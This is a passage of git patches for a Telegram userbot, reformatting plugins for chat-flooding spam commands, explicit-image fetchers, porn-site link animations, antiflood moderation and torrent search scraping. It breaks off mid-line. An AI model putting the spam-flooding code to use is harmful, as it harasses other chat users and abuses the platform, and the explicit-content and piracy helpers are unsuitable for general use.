BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - elif reply_to_id.media: - to_download_directory = Config.TEMP_DOWNLOAD_DIRECTORY - downloaded_file_name = os.path.join(to_download_directory, "spam") - downloaded_file_name = await e.client.download_media( - reply_to_id.media, downloaded_file_name - ) - await e.delete() - if os.path.exists(downloaded_file_name): - sandy = None - for _ in range(counter): - if sandy: - sandy = await e.client.send_file(e.chat_id, sandy) - else: - sandy = await e.client.send_file(e.chat_id, downloaded_file_name) - try: - await e.client( - functions.messages.SaveGifRequest( - id=types.InputDocument( - id=sandy.media.document.id, - access_hash=sandy.media.document.access_hash, - file_reference=sandy.media.document.file_reference, - ), - unsave=True, - ) - ) - except: - pass - await asyncio.sleep(0.5) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} times with below message", - ) - sandy = await e.client.send_file( - BOTLOG_CHATID, downloaded_file_name - ) - try: - await e.client( - functions.messages.SaveGifRequest( - id=types.InputDocument( - id=sandy.media.document.id, - access_hash=sandy.media.document.access_hash, - file_reference=sandy.media.document.file_reference, - ), - unsave=True, - ) - ) - except: - pass - os.remove(downloaded_file_name) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) with {counter} times with below message", - ) - sandy = await e.client.send_file( - BOTLOG_CHATID, downloaded_file_name - ) - try: - await e.client( - functions.messages.SaveGifRequest( - id=types.InputDocument( - id=sandy.media.document.id, - access_hash=sandy.media.document.access_hash, - file_reference=sandy.media.document.file_reference, - ), - unsave=True, - ) - ) - except: - pass - os.remove(downloaded_file_nam) - elif reply_to_id.text and e.reply_to_msg_id: - spam_message = reply_to_id.text - await e.delete() - for _ in range(counter): - if e.reply_to_msg_id: - await reply_to_id.reply(spam_message) - else: - await e.client.send_message(e.chat_id, spam_message) - await asyncio.sleep(0.5) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#SPAM\n" - + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" - + f"`{spam_message}`", - ) - else: - await edit_or_reply(e, "try again something went wrong or check `.info spam`") - - -@bot.on(lightning_cmd(pattern="bigspam (.*)")) -async def bigspam(e): - if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - message = e.text - counter = int(message[9:13]) - spam_message = str(e.text[13:]) - for i in range(1, counter): - await e.respond(spam_message) - await e.delete() - if LOGGER: - await e.client.send_message( - LOGGER_GROUP, "#BIGSPAM \n\n" "Bigspam was executed successfully" - ) - - -@bot.on(lightning_cmd("wspam (.*)")) -@bot.on(sudo_cmd(pattern="wspam (.*)", allow_sudo=True)) -async def tmeme(e): - wspam = str("".join(e.text.split(maxsplit=1)[1:])) - message = wspam.split() - await e.delete() - for word in message: - await e.respond(word) - if BOTLOG: - if e.is_private: - await e.client.send_message( - BOTLOG_CHATID, - "#WSPAM\n" - + f"Word Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with : `{message}`", - ) - else: - await e.client.send_message( - BOTLOG_CHATID, - "#WSPAM\n" - + f"Word Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with : `{message}`", - ) - - -@bot.on(lightning_cmd(pattern="mspam (.*)")) -async def tiny_pic_spam(e): - if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - message = e.text - text = message.split() - counter = int(text[1]) - link = str(text[2]) - for i in range(1, counter): - await e.client.send_file(e.chat_id, link) - await e.delete() - if LOGGER: - await e.client.send_message( - LOGGER_GROUP, "#PICSPAM \n\n" "PicSpam was executed successfully" - ) - - -@bot.on(lightning_cmd("delayspam (.*)")) -async def spammer(e): - spamDelay = float(e.pattern_match.group(1).split(" ", 2)[0]) - counter = int(e.pattern_match.group(1).split(" ", 2)[1]) - spam_message = str(e.pattern_match.group(1).split(" ", 2)[2]) - await e.delete() - for i in range(1, counter): - await e.respond(spam_message) - await sleep(spamDelay) - if LOGGER: - await e.client.send_message( - LOGGER_GROUP, "#DelaySPAM\n" "DelaySpam was executed successfully" - ) - - -CMD_HELP.update( - { - "spam": "**Plugin : **`spam`\ - \n\n**Syntax : **`.tspam `\ - \n**Function : **__ Floods text in the chat !!__\ - \n\n**Syntax : **`.tspam reply to media`\ - \n**Function : **__Sends the replied media times !!__\ - \nFor above two commands use `.bigspam` instead of spam for spamming more than 50 messages\ - \n\n**Syntax : **`.spam `\ - \n**Function : **__ Spam the text.__\ - \n\n**Syntax : **`.wspam `\ - \n**Function : **__ Spam the text word by word.__\ - \n\n**Syntax : **`.mspam \ >reply to media> \`\ - \n**Function : **__ .mspam but with media.__\ - \n\n\n**NOTE : Spam at your own risk !!**" - } -) From 91b72d7813ad284cde4eb3856fa158eb3aab9d19 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:23:46 +0530 Subject: [PATCH 534/838] Update porn.py --- fridaybot/modules/porn.py | 108 +++++++++++++++++++------------------- 1 file changed, 54 insertions(+), 54 deletions(-) diff --git a/fridaybot/modules/porn.py b/fridaybot/modules/porn.py index ecd285a7..f098756b 100644 --- a/fridaybot/modules/porn.py +++ b/fridaybot/modules/porn.py @@ -6,93 +6,93 @@ # # 😂😂😂 - +from fridaybot import pro import asyncio from ..utils import admin_cmd +if pro == True: + @borg.on(admin_cmd(pattern="porn")) + async def _(event): # @danish_00 original -@borg.on(admin_cmd(pattern="porn")) -async def _(event): # @danish_00 original - - if event.fwd_from: + if event.fwd_from: - return + return - animation_interval = 0.2 + animation_interval = 0.2 - animation_ttl = range(0, 8) + animation_ttl = range(0, 8) - await event.edit("`Connecting...`") + await event.edit("`Connecting...`") - animation_chars = [ # @danish_00 original - "P_", - "PO_", - "POR_", - "PORN_", - "PORNH_", - "PORNHU_", - "PORNHUB_", - "[PORNHUB](www.porn93.cc)👄👅💦💦", # @danish_00 original - ] + animation_chars = [ # @danish_00 original + "P_", + "PO_", + "POR_", + "PORN_", + "PORNH_", + "PORNHU_", + "PORNHUB_", + "[PORNHUB](www.porn93.cc)👄👅💦💦", # @danish_00 original + ] - for i in animation_ttl: + for i in animation_ttl: - await asyncio.sleep(animation_interval) + await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i % 8]) + await event.edit(animation_chars[i % 8]) -@borg.on(admin_cmd(pattern=r"xvideos")) -async def _(event): + @borg.on(admin_cmd(pattern=r"xvideos")) + async def _(event): - if event.fwd_from: # @danish_00 original + if event.fwd_from: # @danish_00 original - return + return - animation_interval = 0.2 + animation_interval = 0.2 - animation_ttl = range(0, 7) + animation_ttl = range(0, 7) - await event.edit("`Connecting...`") + await event.edit("`Connecting...`") - animation_chars = [ - "X_", - "XV_", - "XVI_", - "XVID_", - "XVIDE_", - "XVIDEO_", - "[XVIDEOS](www.xvideos4.com)🖕👄💦💦", - ] # @danish_00 original + animation_chars = [ + "X_", + "XV_", + "XVI_", + "XVID_", + "XVIDE_", + "XVIDEO_", + "[XVIDEOS](www.xvideos4.com)🖕👄💦💦", + ] # @danish_00 original - for i in animation_ttl: + for i in animation_ttl: - await asyncio.sleep(animation_interval) + await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i % 7]) + await event.edit(animation_chars[i % 7]) -import asyncio + import asyncio -@borg.on(admin_cmd(pattern=r"xnxx")) # @danish_00 original -async def _(event): + @borg.on(admin_cmd(pattern=r"xnxx")) # @danish_00 original + async def _(event): - if event.fwd_from: + if event.fwd_from: - return + return - animation_interval = 0.2 + animation_interval = 0.2 - animation_ttl = range(0, 5) + animation_ttl = range(0, 5) - await event.edit("`Connecting...`") # @danish_00 original + await event.edit("`Connecting...`") # @danish_00 original - animation_chars = ["X_", "XN_", "XNX_", "XNXX_", "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦"] - # @danish_00 original - for i in animation_ttl: + animation_chars = ["X_", "XN_", "XNX_", "XNXX_", "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦"] + # @danish_00 original + for i in animation_ttl: - await asyncio.sleep(animation_interval) + await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i % 5]) + await event.edit(animation_chars[i % 5]) From 928f5d0a623bb42e5bf5ae128e8dd68c839720a1 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 14:54:32 +0000 Subject: [PATCH 535/838] pylint: auto fixes --- fridaybot/modules/porn.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/porn.py b/fridaybot/modules/porn.py index f098756b..b487a7d7 100644 --- a/fridaybot/modules/porn.py +++ b/fridaybot/modules/porn.py @@ -6,12 +6,14 @@ # # 😂😂😂 -from fridaybot import pro import asyncio +from fridaybot import pro + from ..utils import admin_cmd if pro == True: + @borg.on(admin_cmd(pattern="porn")) async def _(event): # @danish_00 original @@ -42,7 +44,6 @@ async def _(event): # @danish_00 original await event.edit(animation_chars[i % 8]) - @borg.on(admin_cmd(pattern=r"xvideos")) async def _(event): @@ -72,10 +73,8 @@ async def _(event): await event.edit(animation_chars[i % 7]) - import asyncio - @borg.on(admin_cmd(pattern=r"xnxx")) # @danish_00 original async def _(event): @@ -89,7 +88,13 @@ async def _(event): await event.edit("`Connecting...`") # @danish_00 original - animation_chars = ["X_", "XN_", "XNX_", "XNXX_", "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦"] + animation_chars = [ + "X_", + "XN_", + "XNX_", + "XNXX_", + "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦", + ] # @danish_00 original for i in animation_ttl: From 5bc0abd46c601a1a84f82f12e1739268fe0fc956 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:26:58 +0530 Subject: [PATCH 536/838] Update antiflood.py --- fridaybot/modules/antiflood.py | 122 +++++++++++++++++---------------- 1 file changed, 62 insertions(+), 60 deletions(-) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index 20ef20b2..10be0c90 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -3,80 +3,82 @@ from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP, pro from fridaybot.modules.sql_helper import floodsql as sql from ..utils import admin_cmd - -CHAT_FLOOD = sql.__load_flood_settings() -# warn mode for anti flood -ANTI_FLOOD_WARN_MODE = ChatBannedRights( - until_date=None, view_messages=None, send_messages=True -) +if pro == True: + CHAT_FLOOD = sql.__load_flood_settings() + # warn mode for anti flood + ANTI_FLOOD_WARN_MODE = ChatBannedRights( + until_date=None, view_messages=None, send_messages=True + ) -@borg.on(admin_cmd(incoming=True)) -async def _(event): - # logger.info(CHAT_FLOOD) - if not CHAT_FLOOD: - return - if not (str(event.chat_id) in CHAT_FLOOD): - return - # TODO: exempt admins from this - should_ban = sql.update_flood(event.chat_id, event.message.from_id) - if not should_ban: - return - try: - await event.client( - EditBannedRequest( - event.chat_id, event.message.from_id, ANTI_FLOOD_WARN_MODE + @borg.on(admin_cmd(incoming=True)) + async def _(event): + # logger.info(CHAT_FLOOD) + if not CHAT_FLOOD: + return + if not (str(event.chat_id) in CHAT_FLOOD): + return + # TODO: exempt admins from this + should_ban = sql.update_flood(event.chat_id, event.message.from_id) + if not should_ban: + return + try: + await event.client( + EditBannedRequest( + event.chat_id, event.message.from_id, ANTI_FLOOD_WARN_MODE + ) + ) + except Exception as e: # pylint:disable=C0103,W0703 + no_admin_privilege_message = await event.client.send_message( + entity=event.chat_id, + message="""**Automatic AntiFlooder** + @admin [User](tg://user?id={}) is flooding this chat. + `{}`""".format( + event.message.from_id, str(e) + ), + reply_to=event.message.id, + ) + await asyncio.sleep(10) + await no_admin_privilege_message.edit( + "This is useless SPAM dude . stop this enjoy chat man ", link_preview=False + ) + else: + await event.client.send_message( + entity=event.chat_id, + message="""**Automatic AntiFlooder** + [User](tg://user?id={}) has been automatically restricted + because he reached the defined flood limit.""".format( + event.message.from_id + ), + reply_to=event.message.id, ) - ) - except Exception as e: # pylint:disable=C0103,W0703 - no_admin_privilege_message = await event.client.send_message( - entity=event.chat_id, - message="""**Automatic AntiFlooder** -@admin [User](tg://user?id={}) is flooding this chat. -`{}`""".format( - event.message.from_id, str(e) - ), - reply_to=event.message.id, - ) - await asyncio.sleep(10) - await no_admin_privilege_message.edit( - "This is useless SPAM dude . stop this enjoy chat man ", link_preview=False - ) - else: - await event.client.send_message( - entity=event.chat_id, - message="""**Automatic AntiFlooder** -[User](tg://user?id={}) has been automatically restricted -because he reached the defined flood limit.""".format( - event.message.from_id - ), - reply_to=event.message.id, - ) -@borg.on(admin_cmd(pattern="setflood (.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - try: - sql.set_flood(event.chat_id, input_str) - sql.__load_flood_settings() - await event.edit( - "Antiflood updated to {} in the current chat".format(input_str) - ) - except Exception as e: # pylint:disable=C0103,W0703 - await event.edit(str(e)) + @borg.on(admin_cmd(pattern="setflood (.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + try: + sql.set_flood(event.chat_id, input_str) + sql.__load_flood_settings() + await event.edit( + "Antiflood updated to {} in the current chat".format(input_str) + ) + except Exception as e: # pylint:disable=C0103,W0703 + await event.edit(str(e)) CMD_HELP.update( { "antiflood": ".setflood [number]\ \nUsage: warns the user if he spams the chat if you are admin mutes him in that group .\ +\n A PRO PLUGIN.. ONLY FOR PRO's\ +\n `.set var pro True` to be pro\ " } ) From 5218d3519ae8ce501ef720bdcbbbd1884e66b8fb Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 14:57:51 +0000 Subject: [PATCH 537/838] pylint: auto fixes --- fridaybot/modules/antiflood.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index 10be0c90..79d93ee3 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -7,6 +7,7 @@ from fridaybot.modules.sql_helper import floodsql as sql from ..utils import admin_cmd + if pro == True: CHAT_FLOOD = sql.__load_flood_settings() # warn mode for anti flood @@ -14,7 +15,6 @@ until_date=None, view_messages=None, send_messages=True ) - @borg.on(admin_cmd(incoming=True)) async def _(event): # logger.info(CHAT_FLOOD) @@ -44,7 +44,8 @@ async def _(event): ) await asyncio.sleep(10) await no_admin_privilege_message.edit( - "This is useless SPAM dude . stop this enjoy chat man ", link_preview=False + "This is useless SPAM dude . stop this enjoy chat man ", + link_preview=False, ) else: await event.client.send_message( @@ -57,7 +58,6 @@ async def _(event): reply_to=event.message.id, ) - @borg.on(admin_cmd(pattern="setflood (.*)")) async def _(event): if event.fwd_from: From 210cb4b9cad84687aef5d65be67a0e5cb9eec520 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:30:59 +0530 Subject: [PATCH 538/838] Update mspam.py --- fridaybot/modules/mspam.py | 56 ++++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/fridaybot/modules/mspam.py b/fridaybot/modules/mspam.py index d7aacbdc..24ff9a0d 100644 --- a/fridaybot/modules/mspam.py +++ b/fridaybot/modules/mspam.py @@ -1,49 +1,51 @@ # Written By Inuka Asith for VirtualUserbot from ..utils import admin_cmd +from fridaybot import pro +if pro == True: -@bot.on(admin_cmd(pattern="mspam (.*)")) -async def tiny_pic_spam(e): + @bot.on(admin_cmd(pattern="mspam (.*)")) + async def tiny_pic_spam(e): - sender = await e.get_sender() - me = await e.client.get_me() + sender = await e.get_sender() + me = await e.client.get_me() - if not sender.id == me.id and not FULL_SUDO: + if not sender.id == me.id and not FULL_SUDO: - return await e.reply("`Sorry sudo users cant access this command..`") + return await e.reply("`Sorry sudo users cant access this command..`") - try: + try: - await e.delete() + await e.delete() - except: + except: - pass + pass - try: + try: - counter = int(e.pattern_match.group(1).split(" ", 1)[0]) + counter = int(e.pattern_match.group(1).split(" ", 1)[0]) - reply_message = await e.get_reply_message() + reply_message = await e.get_reply_message() - if ( - not reply_message - or not e.reply_to_msg_id - or not reply_message.media - or not reply_message.media - ): + if ( + not reply_message + or not e.reply_to_msg_id + or not reply_message.media + or not reply_message.media + ): - return await e.edit("```Reply to a pic/sticker/gif/video message```") + return await e.edit("```Reply to a pic/sticker/gif/video message```") - message = reply_message.media + message = reply_message.media - for i in range(1, counter): + for i in range(1, counter): - await e.client.send_file(e.chat_id, message) + await e.client.send_file(e.chat_id, message) - except: + except: - return await e.reply( - f"**Error**\nUsage `!mspam reply to a sticker/gif/photo/video`" - ) + return await e.reply( + f"**Error**\nUsage `!mspam reply to a sticker/gif/photo/video`" + ) From 0b4d9a246c63a68fe58399822426df0615aec3f3 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 15:01:43 +0000 Subject: [PATCH 539/838] pylint: auto fixes --- fridaybot/modules/mspam.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/mspam.py b/fridaybot/modules/mspam.py index 24ff9a0d..6e39e31f 100644 --- a/fridaybot/modules/mspam.py +++ b/fridaybot/modules/mspam.py @@ -1,8 +1,9 @@ # Written By Inuka Asith for VirtualUserbot -from ..utils import admin_cmd from fridaybot import pro +from ..utils import admin_cmd + if pro == True: @bot.on(admin_cmd(pattern="mspam (.*)")) From 4c81ee15dcf68ce9271729a2b333425d7e21be02 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:37:32 +0530 Subject: [PATCH 540/838] Update adultzone.py --- fridaybot/modules/adultzone.py | 63 +++++++++++++++++----------------- 1 file changed, 32 insertions(+), 31 deletions(-) diff --git a/fridaybot/modules/adultzone.py b/fridaybot/modules/adultzone.py index 26e70df1..97826e24 100644 --- a/fridaybot/modules/adultzone.py +++ b/fridaybot/modules/adultzone.py @@ -10,36 +10,37 @@ from ..utils import admin_cmd, sudo_cmd +from fridaybot import pro +if pro == True: + @bot.on(admin_cmd("boobs$")) + @bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) + async def boobs(event): + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "bobs.jpg") + a = await event.reply("Finding some big boobs for u 🧐") + await asyncio.sleep(0.5) + await a.edit("Sending some big boobs🤪") + nsfw = requests.get("http://api.oboobs.ru/noise/1").json()[0]["preview"] + urllib.request.urlretrieve("http://media.oboobs.ru/{}".format(nsfw), pic_loc) + await event.client.send_file(event.chat_id, pic_loc, force_document=False) + os.remove(pic_loc) + await event.delete() + await a.delete() -@bot.on(admin_cmd("boobs$")) -@bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) -async def boobs(event): - if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) - pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "bobs.jpg") - a = await event.reply("Finding some big boobs for u 🧐") - await asyncio.sleep(0.5) - await a.edit("Sending some big boobs🤪") - nsfw = requests.get("http://api.oboobs.ru/noise/1").json()[0]["preview"] - urllib.request.urlretrieve("http://media.oboobs.ru/{}".format(nsfw), pic_loc) - await event.client.send_file(event.chat_id, pic_loc, force_document=False) - os.remove(pic_loc) - await event.delete() - await a.delete() - -@bot.on(admin_cmd("butts$")) -@bot.on(sudo_cmd(pattern="butts$", allow_sudo=True)) -async def butts(event): - if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): - os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) - pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "butts.jpg") - a = await event.reply("Finding some beautiful butts for u🧐") - await asyncio.sleep(0.5) - await a.edit("Sending some beautiful butts🤪") - nsfw = requests.get("http://api.obutts.ru/noise/1").json()[0]["preview"] - urllib.request.urlretrieve("http://media.obutts.ru/{}".format(nsfw), pic_loc) - await event.client.send_file(event.chat_id, pic_loc, force_document=False) - os.remove(pic_loc) - await event.delete() - await a.delete() + @bot.on(admin_cmd("butts$")) + @bot.on(sudo_cmd(pattern="butts$", allow_sudo=True)) + async def butts(event): + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "butts.jpg") + a = await event.reply("Finding some beautiful butts for u🧐") + await asyncio.sleep(0.5) + await a.edit("Sending some beautiful butts🤪") + nsfw = requests.get("http://api.obutts.ru/noise/1").json()[0]["preview"] + urllib.request.urlretrieve("http://media.obutts.ru/{}".format(nsfw), pic_loc) + await event.client.send_file(event.chat_id, pic_loc, force_document=False) + os.remove(pic_loc) + await event.delete() + await a.delete() From f6520a95e97c6692b6fb817b984868c5bfd152bc Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 15:08:22 +0000 Subject: [PATCH 541/838] pylint: auto fixes --- fridaybot/modules/adultzone.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/adultzone.py b/fridaybot/modules/adultzone.py index 97826e24..d9a2ade0 100644 --- a/fridaybot/modules/adultzone.py +++ b/fridaybot/modules/adultzone.py @@ -8,10 +8,12 @@ import requests +from fridaybot import pro + from ..utils import admin_cmd, sudo_cmd -from fridaybot import pro if pro == True: + @bot.on(admin_cmd("boobs$")) @bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) async def boobs(event): @@ -28,7 +30,6 @@ async def boobs(event): await event.delete() await a.delete() - @bot.on(admin_cmd("butts$")) @bot.on(sudo_cmd(pattern="butts$", allow_sudo=True)) async def butts(event): From 514823921988d7fb7688c641fedffa57e318c708 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:42:46 +0530 Subject: [PATCH 542/838] Update torrentsearch.py --- fridaybot/modules/torrentsearch.py | 376 +++++++++++++++-------------- 1 file changed, 190 insertions(+), 186 deletions(-) diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py index 5e11796c..2a728489 100644 --- a/fridaybot/modules/torrentsearch.py +++ b/fridaybot/modules/torrentsearch.py @@ -10,213 +10,217 @@ import requests from bs4 import BeautifulSoup as bs -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP , pro from ..utils import admin_cmd, humanbytes +if pro == True: + + def dogbin(magnets): + counter = 0 + urls = [] + while counter != len(magnets): + message = magnets[counter] + url = "https://del.dog/documents" + r = requests.post(url, data=message.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + urls.append(url) + counter += 1 + return urls -def dogbin(magnets): - counter = 0 - urls = [] - while counter != len(magnets): - message = magnets[counter] - url = "https://del.dog/documents" - r = requests.post(url, data=message.encode("UTF-8")).json() - url = f"https://del.dog/{r['key']}" - urls.append(url) - counter += 1 - return urls - -@bot.on(admin_cmd(pattern="tsearch ?(.*)")) -async def tor_search(event): - if event.fwd_from: - return - headers = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" - } - search_str = event.pattern_match.group(1) - await event.edit("Searching for " + search_str + ".....") - if " " in search_str: - search_str = search_str.replace(" ", "+") - print(search_str) - res = requests.get( - "https://www.torrentdownloads.me/search/?new=1&s_cat=0&search=" - + search_str, - headers, - ) - else: - res = requests.get( - "https://www.torrentdownloads.me/search/?search=" + search_str, headers - ) - source = bs(res.text, "lxml") - urls = [] - magnets = [] - titles = [] - counter = 0 - for div in source.find_all("div", {"class": "grey_bar3 back_none"}): - # print("https://www.torrentdownloads.me"+a['href']) - try: - title = div.p.a["title"] - title = title[20:] - titles.append(title) - urls.append("https://www.torrentdownloads.me" + div.p.a["href"]) - except KeyError: - pass - except TypeError: - pass - except AttributeError: - pass - if counter == 15: - break - counter += 1 - if not urls: - await event.edit("Either the Keyword was restricted or not found..") - return - for url in urls: - res = requests.get(url, headers) - # print("URl: "+url) + @bot.on(admin_cmd(pattern="tsearch ?(.*)")) + async def tor_search(event): + if event.fwd_from: + return + headers = { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" + } + search_str = event.pattern_match.group(1) + await event.edit("Searching for " + search_str + ".....") + if " " in search_str: + search_str = search_str.replace(" ", "+") + print(search_str) + res = requests.get( + "https://www.torrentdownloads.me/search/?new=1&s_cat=0&search=" + + search_str, + headers, + ) + else: + res = requests.get( + "https://www.torrentdownloads.me/search/?search=" + search_str, headers + ) source = bs(res.text, "lxml") - for div in source.find_all("div", {"class": "grey_bar1 back_none"}): + urls = [] + magnets = [] + titles = [] + counter = 0 + for div in source.find_all("div", {"class": "grey_bar3 back_none"}): + # print("https://www.torrentdownloads.me"+a['href']) try: - mg = div.p.a["href"] - magnets.append(mg) - except Exception: + title = div.p.a["title"] + title = title[20:] + titles.append(title) + urls.append("https://www.torrentdownloads.me" + div.p.a["href"]) + except KeyError: pass - shorted_links = dogbin(magnets) - msg = "" - try: - search_str = search_str.replace("+", " ") - except BaseException: - pass - msg = "**Torrent Search Query**\n`{}`".format(search_str) + "\n**Results**\n" - counter = 0 - while counter != len(titles): - msg = ( - msg - + "⁍ [{}]".format(titles[counter]) - + "({})".format(shorted_links[counter]) - + "\n\n" - ) - counter += 1 - await event.edit(msg, link_preview=False) + except TypeError: + pass + except AttributeError: + pass + if counter == 15: + break + counter += 1 + if not urls: + await event.edit("Either the Keyword was restricted or not found..") + return + for url in urls: + res = requests.get(url, headers) + # print("URl: "+url) + source = bs(res.text, "lxml") + for div in source.find_all("div", {"class": "grey_bar1 back_none"}): + try: + mg = div.p.a["href"] + magnets.append(mg) + except Exception: + pass + shorted_links = dogbin(magnets) + msg = "" + try: + search_str = search_str.replace("+", " ") + except BaseException: + pass + msg = "**Torrent Search Query**\n`{}`".format(search_str) + "\n**Results**\n" + counter = 0 + while counter != len(titles): + msg = ( + msg + + "⁍ [{}]".format(titles[counter]) + + "({})".format(shorted_links[counter]) + + "\n\n" + ) + counter += 1 + await event.edit(msg, link_preview=False) -@bot.on(admin_cmd(pattern=r"movie (torrentz2\.eu|idop\.se) (.*)")) -async def _(event): - if event.fwd_from: - return - start = datetime.now() - await event.edit("Processing ...") - input_type = event.pattern_match.group(1) - input_str = event.pattern_match.group(2) - search_results = [] - if input_type == "torrentz2.eu": - search_results = search_torrentz_eu(input_str) - elif input_type == "idop.se": - search_results = search_idop_se(input_str) - logger.info(search_results) - output_str = "" - i = 0 - for result in search_results: - if i > 10: - break - message_text = ( - "👉 " - + result["title"] - + ": " - + "" - + " \r\n" + @bot.on(admin_cmd(pattern=r"movie (torrentz2\.eu|idop\.se) (.*)")) + async def _(event): + if event.fwd_from: + return + start = datetime.now() + await event.edit("Processing ...") + input_type = event.pattern_match.group(1) + input_str = event.pattern_match.group(2) + search_results = [] + if input_type == "torrentz2.eu": + search_results = search_torrentz_eu(input_str) + elif input_type == "idop.se": + search_results = search_idop_se(input_str) + logger.info(search_results) + output_str = "" + i = 0 + for result in search_results: + if i > 10: + break + message_text = ( + "👉 " + + result["title"] + + ": " + + "" + + " \r\n" + ) + message_text += " FILE SIZE: " + result["size"] + "\r\n" + # message_text += " Uploaded " + result["date"] + "\r\n" + message_text += ( + " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + ) + message_text += "===\r\n" + output_str += message_text + i += 1 + end = datetime.now() + ms = (end - start).seconds + await event.edit( + f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", + link_preview=False, + parse_mode="html", ) - message_text += " FILE SIZE: " + result["size"] + "\r\n" - # message_text += " Uploaded " + result["date"] + "\r\n" - message_text += ( - " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" - ) - message_text += "===\r\n" - output_str += message_text - i += 1 - end = datetime.now() - ms = (end - start).seconds - await event.edit( - f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", - link_preview=False, - parse_mode="html", - ) -def search_idop_se(search_query): - r = [] - url = "https://idope.se/search/{}/".format(search_query) - raw_json = requests.get(url).json() - results = raw_json["result"]["items"] - for item in results: - # The content scrapped on 24.09.2018 22:56:45 - title = item["name"] - t_hash = item["info_hash"] - age = item["create_time"] - size = item["length"] - seeds = str(item["seeds"]) - r.append( - { - "title": title, - "hash": t_hash, - "age": age, - "size": humanbytes(size), - "seeds": seeds, - "peers": "NA", - } - ) - return r + def search_idop_se(search_query): + r = [] + url = "https://idope.se/search/{}/".format(search_query) + raw_json = requests.get(url).json() + results = raw_json["result"]["items"] + for item in results: + # The content scrapped on 24.09.2018 22:56:45 + title = item["name"] + t_hash = item["info_hash"] + age = item["create_time"] + size = 